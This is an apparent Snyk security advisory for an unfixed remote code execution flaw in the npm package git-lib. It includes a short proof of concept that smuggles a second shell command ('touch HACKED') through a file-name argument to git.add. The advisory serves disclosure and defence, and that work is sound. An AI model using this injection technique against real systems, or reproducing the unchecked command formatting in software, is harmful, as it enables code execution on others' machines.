Remote Code Execution (RCE) Affecting git-lib package, versions *


0.0
medium

Snyk CVSS

    Attack Complexity High
    Privileges Required High
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-GITLIB-1012734
  • published 25 Sep 2020
  • disclosed 24 Sep 2020
  • credit mik317

Introduced: 24 Sep 2020

CVE NOT AVAILABLE CWE-94 Open this link in a new tab

How to fix?

There is no fixed version for git-lib.

Overview

git-lib is an a library with different git commands for uses.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). A user input is formatted inside a command that will be executed without any check.

PoC by mik317

  • Create the following PoC file:
// poc.js
var git = require("git-lib");

git.add("test;touch HACKED;").then(function(){ /** successfully added / }).catch(function(err){ / unsuccessful **/ });

  • Check there aren't files called HACKED
  • Execute the following commands in another terminal:
npm i git-lib # Install affected module
git init # Avoid problems with *git*
node poc.js #  Run the PoC
  • Recheck the files: now HACKED has been created